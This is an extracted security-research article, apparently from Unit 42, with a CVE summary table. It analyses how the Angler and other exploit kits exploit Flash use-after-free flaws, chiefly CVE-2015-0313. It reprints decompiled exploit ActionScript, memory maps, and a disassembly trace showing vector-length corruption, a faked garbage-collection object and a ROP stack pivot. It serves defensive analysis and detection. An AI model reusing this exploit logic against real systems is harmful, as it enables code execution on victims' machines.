The Latest Flash UAF Vulnerabilities in Exploit Kits
Vulnerabilities mentionedAll →
| CVE | Vulnerability | CVSS | EPSS | Flags | Affected | Exposure | Published |
|---|---|---|---|---|---|---|---|
| CVE-2015-0311 | Use-After-Free Remote Code Execution in Adobe Flash Player CVE-2015-0311 is a use-after-free memory corruption flaw in Adobe Flash Player that Adobe patched in an emergency January 2015 release (APSB15-02); CISA catalogs it generically as an unspecified remote code execution vulnerability. It is triggered when a victim's Flash plugin processes maliciously crafted SWF content, typically embedded in a web page or delivered via malvertising and exploit kits such as Angler, and requires no authentication. A successful attacker gains arbitrary code execution in the context of the logged-in user, enabling malware installation; contemporaneous 2015 reporting tied Flash 0-day malvertising campaigns (e.g., Fessleak) to ransomware such as TeslaCrypt. Anyone running an affected Flash Player version in a browser or standalone install was exposed, but Flash Player has been end-of-life since the end of 2020, so the exposed population today consists of legacy, unmaintained systems. Exploitation is confirmed in the wild: the flaw was added to CISA's KEV on 2022-04-13 and carries an EPSS of 85.8% (100th percentile), although no public proof-of-concept is tracked. Do: Upgrade to the patched release from Adobe's January 2015 advisory — 16.0.0.296 (with 13.0.0.262 for the extended-support 13.x branch) — or, preferably, remove Flash entirely since it reached end-of-life on December 31, 2020; CISA's required action is to disconnect or retire any systems still running it. Check browsers, embedded devices, and internal applications for residual Flash plugins, and disable Flash or block SWF content as a mitigation where the plugin cannot be removed. | — | 86% | KEV |
| mass≈1 billion+ installs at the time of disclosure (near-universal desktop browser plugin); now limited to unmaintained EOL systems | |
| CVE-2015-0313 | Use-After-Free Remote Code Execution in Adobe Flash Player CVE-2015-0313 is a use-after-free (CWE-416) flaw in Adobe Flash Player that allows remote attackers to execute arbitrary code. It is triggered when the Flash browser plugin processes specially crafted Flash/SWF content, commonly delivered through a malicious or malvertising-loaded web page or exploit kit, causing the plugin to reference freed memory. A successful attack yields code execution in the context of the logged-in user, which related 2015 coverage links to exploit kit (e.g., RIG) and malvertising campaigns delivering ransomware. Anyone running a then-current Adobe Flash Player in a browser was affected; the source data does not specify exact version ranges. The flaw is in CISA's Known Exploited Vulnerabilities catalog (added 2022-04-13), has an EPSS exploitation probability of 95.3% (100th percentile), and should be treated as actively exploited in the wild. Do: Apply Adobe's January 2015 emergency security bulletin (APSB15-04), which addressed this flaw, if any system must still run Flash; otherwise upgrade to the latest available patched release. Because Flash is end-of-life, CISA's required action is to disconnect or fully remove/uninstall Flash wherever it is still in use. Audit browsers, legacy web applications, and any software that renders SWF content, and review endpoint logs for exploit kit or malvertising-driven infections. | — | 95% | KEV |
| mass~hundreds of millions of installations at the time of disclosure (Flash was near-ubiquitous in browsers); only a small legacy footprint remains today |
Full article3,449 words · extracted from unit42.paloaltonetworks.com · click to collapse
Introduction
Recently, several popular exploit kits, including Angler, Flash EK, SweetOrange, Fiesta andNeutrino[1], have included several use-after-free (UAF) vulnerabilities in Adobe Flash to exploit victims’ browsers. Previously, these exploit kits typically used out-of-bounds access (OBA) vulnerabilities in Adobe Flash, as these types of vulnerabilities can be exploited universally and stably [2], and require less effort to exploit compared to UAF vulnerabilities. In order to detect these newly added UAF vulnerabilities, we analyzed the code found in the exploit kits to determine which vulnerabilities are present and how they are exploited.
Obfuscation in exploit kits
To determine the vulnerabilities within each exploit kit, we first had to overcoming the various obfuscation methods present in the JavaScript. Each exploit kit employs a different set of obfuscation methods, as seen in Figures 1, 2 and 3; however, the main JavaScript obfuscation methods seen in these kits are JavaScript function hooks, variable substitution and no operation (NOP) insertion. The most common obfuscation method seen in these exploits scripts is variable substitution, in which the JavaScript will use regex, math, concat, split, replace and other functions to manipulate and construct values that the script assigns to variables. The analysis of the exploit kits and details on the obfuscation methods used by specific exploit kits are beyond the scope of this report.
Figure 1. Angler's JavaScript Obfuscation
Figure 2. SweetOrange's JavaScript Obfuscation
Figure 3. Fiesta's JavaScript Obfuscation
The exploit kits also use obfuscation methods within the ActionScript code inside the Flash SWF files loaded by the malicious JavaScript. Similar to the exploit kit’s JavaScript, the obfuscation methods found in the ActionScript also include variable substitution and NOP insertion, which requires deobfuscation and increases the effort required to decompile and analyze the ActionScript. Further obfuscation methods used in the SWF files, which is almost universal amongst the different exploit kits, involves packing the SWF in several layers by using the “Loader::loadbytes()” function. As shown in the Figures 4 and 5, the layers of obfuscation just add complexity and increase the level effort required to analyze the vulnerability, as the most internal layer is always the exploit layer.
Figure 4. Angler's SWF Obfuscation, Layer 1
Figure 5. Angler's SWF Obfuscation, Layer 2
Vulnerability analysis
Once the JavaScript and ActionScript are deobfuscated, we can locate the specific vulnerabilities and determine how they are exploited. The use-after-free vulnerabilities involved in these popular exploit kits are CVE-2015-0311, CVE-2015-0313 and CVE-2015-0359, which we discuss elsewhere in this report. We found that these three CVEs discuss vulnerabilities in the same ApplicationDomain class. Every ActionScript class has an application domain, usually held by LoaderContext, to define its security context, especially when loading an external SWF by using Loader::load() or Loader::loadbytes(). Figure 6 shows the ApplicationDomain definition in Adobe’s documentation.
Figure 6. Adobe's definition of ApplicationDomain
The ApplicationDomain class has a property, domainMemory, which can be set to a ByteArray Object. The domainMemory ByteArray Object can be shared by other threads or used by other methods or classes. The use-after-free vulnerability arises because the ApplicationDomain relies on notifications to synchronize objects, whereas the other thread or class/method does not send a message when they free the ByteArray. The ByteArray that was free is still referenced by the ApplicationDomain because it was not notified that the ByteArray was freed. For instance, ByteArray::compress and ByteArray::decompress do not notify the ApplicationDomain when they free a ByteArray due to an IOError, or when a worker thread does not notify the main thread when it frees a ByteArray, which both cause the use-after-free situation.
During our analysis, we found that the Angler exploit kit not only forgot to obfuscate its exploit layer within the ActionScript found within the malicious SWF file, but also used helpful variable and function names that made it very easy to understand. Due to its straightforward nature, we will use Angler’s SWF as an example to show a step-by-step process to describe how it exploits the CVE-2015-0313 vulnerability.
In the first stage, the ActionScript performs heap layout work, sets a byteArray buffer named “attacking_buffer” to “ApplicationDomain.currentDomain.domainMemory”, and sends a message to trigger the worker thread. Figure 7 shows the ActionScript within Angler’s malicious SWF file.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
privatefunctionexploit_primordial_start(param1:String):Boolean { if(!this.check_environment()) { returnfalse; } var_loc2_:String=this.DecryptX86URL(param1); this.shellcodes=newShellcodes(_loc2_,this.xkey.toString()); this.prepare_attack(); this.make_spray_by_buffers_no_holes(); ApplicationDomain.currentDomain.domainMemory=this.attacking_buffer; this.main_to_worker.send(this.message_hello); returntrue; } |
Figure 7. Angler's ActionScript that Assigns a Buffer to domainMemory to Begin the Exploitation Process
The following displays the memory map for the pertinent objects after the first stage, specifically showing domainMemory and ByteArray having a pointer (yellow) to the ByteArrayData buffer (actually the ByteArrayData was set to domainMemory):
ApplicationDomain
05591c60 10bb6558 80025f01 05555f98 03e831f0
05591c70 03ea5040 039f3080 03b672b8 03b661e8
+0x00: vtable of ApplicationDomain
+0x10: pointer to domainMemory
domainMemory
03ea5040 10c99fc8 03b4c190 0577f6d0 039f3080
03ea5050 03ea6020 05069000 00002000 03a36ea0
03ea5060 00000003 03ea5040 039f1070 039f1040
03ea5070 00000000 00000000
+0x00: vtable of domainMemory
+0x14: pointer to ByteArrayData
ByteArray
03a4f578 10c890a8 00000002 05069000 00002000
03a4f588 00002000 00000000
0x00: vtable of ByteArray
0x08: pointer to ByteArrayData
ByteArrayData
05069000 33333333 33333333 33333333 33333333
05069010 33333333 33333333 33333333 33333333
05069020 33333333 33333333 33333333 33333333
05069030 33333333 33333333 33333333 33333333
05069040 33333333 33333333 33333333 33333333
05069050 33333333 33333333 33333333 33333333
In the second stage, the worker thread receives the message and clears the “attacking_buffer” ByteArray assigned to “ApplicationDomain.currentDomain.domainMemory” in the first phase. However, the script does not notify the ApplicationDomain that the “attacking_buffer” was cleared, which causes “ApplicationDomain.currentDomain.domainMemory” to retain a pointer to the ByteArrayData. The lack of notification in the event of clearing the ByteArray causes the UAF vulnerability. Figure 8 shows the ActionScript within Angler’s malicious SWF file that clears the buffer without notifying the ApplicationDomain.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
protectedfunctionon_main_to_worker(param1:Event):void { var_loc3_:uint=0; var_loc4_:ByteArray=null; var_loc5_:ByteArray=null; var_loc2_:*=this.main_to_worker.receive(); if(_loc2_==this.message_hello) { _loc3_=this.page_size; _loc4_=newByteArray(); _loc4_.length=_loc3_; _loc5_=newByteArray(); _loc5_.length=_loc3_; _loc5_.clear(); this.attacking_buffer.clear(); _loc4_.clear(); this.protecting_buffer.length=this.protecting_buffer_size; this.fill_buffer(this.protecting_buffer,this.protecting_buffer_filler); Worker.current.setSharedProperty(this.protecting_buffer_name,this.protecting_buffer); this.worker_to_main.send(this.message_world); } } |
Figure 8. Angler's ActionScript that Clears the Buffer Without Notifying the ApplicationDomain
The following shows a memory map of the objects after the second stage, showing the ByteArray being cleared and the buffer of ByteArrayData being freed, but the domainMemory retaining the pointer (yellow) to the ByteArrayData buffer:
domainMemory
03ea5040 10c99fc8 03b4c190 0577f6d0 039f3080
03ea5050 03ea6020 05069000 00002000 03a36ea0
03ea5060 00000003 03ea5040 039f1070 039f1040
03ea5070 00000000 00000000
+0x00: vtable of domainMemory
+0x14: pointer to ByteArrayData
ByteArray
03a4f578 10c890a8 00000001 00000000 00000000
03a4f588 00000000 00000000
ByteArrayData
05069000 00000000 00000000 00000000 00000000
Exploit Analysis
After triggering the UAF vulnerability, the third stage begins the exploitation process. This is a rather special and unique UAF vulnerability, as the ByteArray object can be any size, which allows exploiters to create and free an arbitrary sized heap block, fill it with an arbitrary sized object (the simplest method is filling the freed heap block with the vector object), and modify the arbitrary offset of this freed buffer to an arbitrary value. he freed buffer is still considered a ByteArray buffer of domainMemory, allowing the exploiter to read and write directly to the ByteArray buffer using alchemy opcodes. For example, the alchemy opcodes ‘op_li32’ and ‘op_si32’ can read and write 32-bits memory of the ByteArray buffer of domainMemory.
The exploitation process continues by taking over the freed ByteArrayData heap block and replacing it with a vector of the same size. Angler’s exploit code, seen in Figure 9, takes over the ByteArrayData buffer in the function “make_filling_by_uints” and changes the vector length to a very large size by using the alchemy opcodes ‘op_si32’ in the function “magic_write_uint”.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
privatefunctiontake_over_buffer():Boolean { var_loc1_:uint=this.magic_read_uint(0); if(_loc1_!=this.protecting_buffer_filler) { returnfalse; } this.make_spray_by_buffers_make_holes(); this.make_filling_by_uints(); _loc1_=this.magic_read_uint(0); if(_loc1_==this.protecting_buffer_filler) { returnfalse; } returntrue; } privatefunctionattack():Boolean { var_loc1_:uint=0; var_loc2_:uint=0; var_loc3_:uint=this.byte_array_size; while(_loc2_<_loc3_) { _loc1_=this.magic_read_uint(_loc2_); if(_loc1_==this.vector_elements) { _loc1_=this.magic_read_uint(_loc2_+(this.x86_url_checked<<3)); if(_loc1_==this.vector_signature_0) {//unchained_elements = 1073741824 = 0x40000000 this.magic_write_uint(_loc2_,this.unchained_elements); returntrue; } } _loc2_=_loc2_+(this.x86_url_checked<<2); } returnfalse; } |
Figure 9. Angler's Exploit Code Taking Over ByteArrayData Buffer and Changing its Size
Figure 10 is a memory map of relevant objects after the third stage. The freed ByteArrayData buffer starting at 0x05069000 (yellow) has been taken over by the VectorData buffer that starts at 0x05069020 (green) and has a size of 0x72. The memory map also shows that the length of VectorData has been set to 0x40000000 (red).
domainMemory
03ea5040 10c99fc8 03b4c190 0577f6d0 039f3080
03ea5050 03ea6020 05069000 00002000 03a36ea0
03ea5060 00000003 03ea5040 039f1070 039f1040
03ea5070 00000000 00000000
+0x00: vtable of domainMemory
+0x14: pointer to ByteArrayData
Vector<uint>
05661538 10c99918 00000003 0555c1f0 03a44d78
05661548 0555f150 00000000 05069020 00000000
05661558 00000000 00000000
0x00: vtable of Vector<uint>
0x18: VectorData
Overlapped ByteArrayData[freed, +0x00 begin] and VectorData[taken over, +0x20 begin]
05069000 00000000 00000000 0506a000 05066000
05069010 01f80008 00000000 00000000 10f69b44
05069020 40000000 0506bc00 feedbabe 00001590
05069030 babeface 00000000 00000000 00000000
05069040 00000000 00000000 00000000 00000000
…
050691e0 00000000 00000000 00000000 00000000
050691f0 bbbbbbbb bbbbbbbb bbbbbbbb bbbbbbbb
05069200 bbbbbbbb bbbbbbbb bbbbbbbb bbbbbbbb
05069210 bbbbbbbb bbbbbbbb 00000072 03b3b000
05069220 feedbabe 00001591 babeface 00000000
05069230 00000000 00000000 00000000 00000000
…
05069020+0x00: vector length modified to 0x40000000 by alchemy opcode of domainMemory
05069020+0x04: GC_object<***important***>
05069020+0x08: vector[0]
05069218+0x00: length of the next adjacent vector
Figure 10. Memory Map Showing the ByteArrayData Buffer Taken Over by Vector Buffer
The last stage starts by finding the vector with the size of 0x40000000 by comparing the original length to current length. Figure 11 shows a function named ‘find_unchained_vector’ within the ActionScript that locates the vector, specifically seen in red text. The ActionScript will use this vector to scan memory to find ROP chain, construct and write ROP chain and shellcode (obtained from flashvars) to the VectorData buffer, which is a fairly conventional process. The interesting part of the exploitation process involves the use of the garbage collection (GC) to control the instruction pointer (EIP) instead of the typical usage of a sound or file reference object to control EIP[2]. The exploit code uses the garbage collection (GC) to control EIP by faking a GC_object at offset 0x04 of the VectorData buffer and will overwrite it to the controlled fake_GC_object, which is carried out by a function named “take_over_32” in Figure 11. According to the memory map in Figure 10, the first element of vector is offset 0x08 (vector[0]), but the ActionScript overwrites the offset 0x04 instead, which is interesting and required additional analysis.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
privatefunctionfind_unchained_vector():Boolean { var_loc1_:Vector.<uint>=null; var_loc2_:*=0; while(_loc2_<this.vectors_count) { _loc1_=this.vectors[_loc2_]asVector.<uint>; if(!(_loc1_.length==this.vector_elements)&& !(_loc1_.length == this.vector_elements * 2)) { this.unchained_vector_index = _loc2_; this.unchained_vector=_loc1_; returntrue; } _loc2_++; } returnfalse; } privatefunctiontake_over_32():Boolean {//unchained_elements = 1073741824 = 0x40000000 var_loc1_:uint=this.unchained_elements-1; this.unchained_vector[_loc1_]=this.fake_object_address; this.unchained_vector.length=this.vector_elements *2; this.restore_vector_32(); returntrue; } |
Figure 11. Angler's ActionScript Code to Find and Take Over the Vector
From within the ActionScript, we can see it specifically set vector[3fffffff] to fake_gc_object, which Flash will calculate the offset like this in the following manner:
Vector[index] -> [VectorData+index*4+8]
When index = 3fffffff
[VectorData+0x3fffffff*4+8] = [VectorData+0xfffffffc+8] = [VectorData+0x04]
Based on the calculation above, it is obvious that the ActionScript uses an integer overflow to set vector+0x04 offset. After setting the vector+0x04 to the fake_gc_object, it resets the vector length (unchained_vector.length) to release the old vector and triggers garbage collection (GC) to collect this vector. When the garbage collector collects the vector it uses the fake_gc_object, gets an unknown object from this fake_gc_object and peforms a vtable call on this unknown object.
Figure 12 shows the trace route of the garbage collector and the memory map in the last stage to show the process in which exploiters use to control the instruction pointer to execute code. This will not show the entire process of the garbage collector, instead it begins from finding the vector to be collected and ends with the vtable call on the unknown object that provides exploiters control over the EIP.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 |
1.Find vector tobe collected,eax isthe vector tobe collected,andebp isthe fake_gc_object,here it isoverwritten to0x05113c00. .text:10664E6Dmov ebp,[eax+4];eax=vector,0x05111020 .text:10664E70mov[esp+24h+var_8],ebp;ebp=0x05113c00 .text:10664E74mov[esp+24h+arg_0],ebx .text:10664E78cmp ebx,esi .text:10664E7Ajbe shortloc_10664E82 .text:10664E7Cmov[esp+24h+arg_0],esi .text:10664E80mov ebx,esi … .text:10664FFFloc_10664FFF: .text:10664FFFpush1;int .text:10665001push eax;int .text:10665002mov ecx,ebp;int;ecx=0x05113c00 .text:10665004call sub_105F0930 2.The sub_105F0930 functionsends the fake_gc_object of vector[0x05113c00]tosub_105F07F0 .text:105F093Emov esi,ecx .text:105F0940jge shortloc_105F0949 .text:105F0942add[esi+eax*4+1DCh],ebx … .text:105F095Cmov ecx,esi;int;ecx=0x05113c00 .text:105F095Ecall sub_105F07F0 ... 3.The sub_105F07F0 functiondoes the collection work andsends fake_gc_object tosub_105F06F0 .text:105F07F0sub esp,20h .text:105F07F3push esi .text:105F07F4mov esi,ecx;esi=0x05113c00 .text:105F07F6cmp byteptr[esi+5],0 .text:105F07FAjnz loc_105F08A2 .text:105F0800mov eax,[esi+1E4h] .text:105F0806push0 .text:105F0808push offset a_gc_collection;".gc.CollectionWork" … .text:105F0861loc_105F0861: .text:105F0861push1;char .text:105F0863push1;int .text:105F0865mov ecx,esi;int;ecx=0x05113c00 .text:105F0867call sub_105F06F0 4.The sub_105F06F0 functiongets an unknown_object from fake_gc_object andsends it tosub_100436E0 .text:105F06F0sub esp,20h .text:105F06F3push esi .text:105F06F4mov esi,ecx;esi=fake_gc_object=0x05113c00 .text:105F06F6cmp byteptr[esi+5],0 .text:105F06FAjnz loc_105F0781 .text:105F0700cmp dword ptr[esi+2B0h],0 .text:105F0707jnz shortloc_105F0781 .text:105F0709cmp byteptr[esi+2AAh],0 .text:105F0710jnz shortloc_105F0781 .text:105F0712cmp byteptr[esi+7B8h],0 .text:105F0719jnz shortloc_105F0781 .text:105F071Bmov eax,[esi+1E4h];eax=0x05113d80 .text:105F0721push edi .text:105F0722push0 .text:105F0724push offset a_gc_collect;".gc.Collect" .text:105F0729push eax;eax=unknown_object=0x05113d80 .text:105F072Alea ecx,[esp+34h+var_20] .text:105F072Ecall sub_100436E0 5.The sub_100436E0 functionisawrapper function,asit does nothing more than push the1stargument andcalls the sub_1004295C function .text:100436E0push esi .text:100436E1push[esp+4+arg_8] .text:100436E5mov esi,ecx .text:100436E7push[esp+8+arg_4] .text:100436EBmov dword ptr[esi],offset off_10B5BEEC .text:100436F1push[esp+0Ch+arg_0];1stargument isunknown_object .text:100436F5call sub_1004295C 6.The sub_1004295C functionperformsavtable call of unknown_object andstack pivot exec at last. .text:1004295Cmov eax,[esp+arg_4] .text:10042960push esi .text:10042961mov esi,ecx .text:10042963mov ecx,[esp+4+arg_0];ecx=unknown_object .text:10042967mov[esi+0Ch],eax .text:1004296Amov al,[esp+4+arg_8] .text:1004296Emov[esi+18h],ecx .text:10042971mov[esi+8],al .text:10042974test ecx,ecx .text:10042976jz shortloc_1004298B .text:10042978cmp byteptr[ecx+4],0 .text:1004297Cjz shortloc_1004298B .text:1004297Emov eax,[ecx];eax isvtable=0x05114000 .text:10042980call dword ptr[eax+4];jump0x1015b6be 0:008>u1015b6be Flash32_15_0_0_246+0x15b6be: 1015b6be8b01mov eax,dword ptr[ecx] 1015b6c051push ecx 1015b6c1ff5008 call dword ptr[eax+8] Thisisthe first ROP address 0:008>u10020740 Flash32_15_0_0_246+0x20740: 1002074094xchg eax,esp 10020741c3 ret the vectorData buffer 0511100000000000000000000511200003c62000 0511101001f80008000000000000000010f69b44 051110204000000005113c00feedbabe000014d0 05111030babeface000000000000000000000000 051110400000000000000000000000000000000 The memory used ingarbage collector above,05113c00isthe fake_gc_object 0:008>dc05113c00+1e4 05113de405113d80cccccccc cccccccc cccccccc.=.............. Unknown_object 05113d800511400000000001cccccccc cccccccc Fake vtable of Unknown_object,1015b6beisthe1stexecuted address,10020740isthe2ndexecuted address,etc… 051140001000b5d21015b6be100207401019cc26 051140101028297c10064fc57c809ae105114030 0511402005114000000020000000100000000040 05114030002ce860c661000089000447c031fcf4 |
Figure 12. Trace of Garbage Collector and Associated Memory Map
The use of the garbage collector is a novel method to control EIP, which differs from the previous techniques using sound or file reference objects. It is universal, stable and does not require other objects, as attackers can use the one vector for all the steps required to execute code, including scanning for and finding the ROP chain, overwriting the ROP chain, and control and trigger EIP. This is good news for cybercriminals, as it makes exploit development easier.
Summary
The technique of faking a garbage collection object to control EIP has never been seen before and is worth to paying attention to in future exploits. Due to certain features in Adobe Flash, specifically the ability for alchemy opcodes (such as op_li32/op_si32) to directly access memory within a ByteArray, use-after-free vulnerabilities are just as easy to exploit as out-of-bounds vulnerabilities. It appears that the authors of exploit kits agree with this, as they continue to add new Flash UAF vulnerabilities to their arsenal. As such, we can anticipate Flash vulnerabilities will continue to be exploited by exploit kits well into the future. Security researchers should not only spend time hunting and reporting more bugs to vendors, but also focus on exploit detection before html5 completely replaces flash altogether.
Text extracted automatically; images, tables and formatting may be missing. Original: https://unit42.paloaltonetworks.com/the-latest-flash-uaf-vulnerabilities-in-exploit-kits/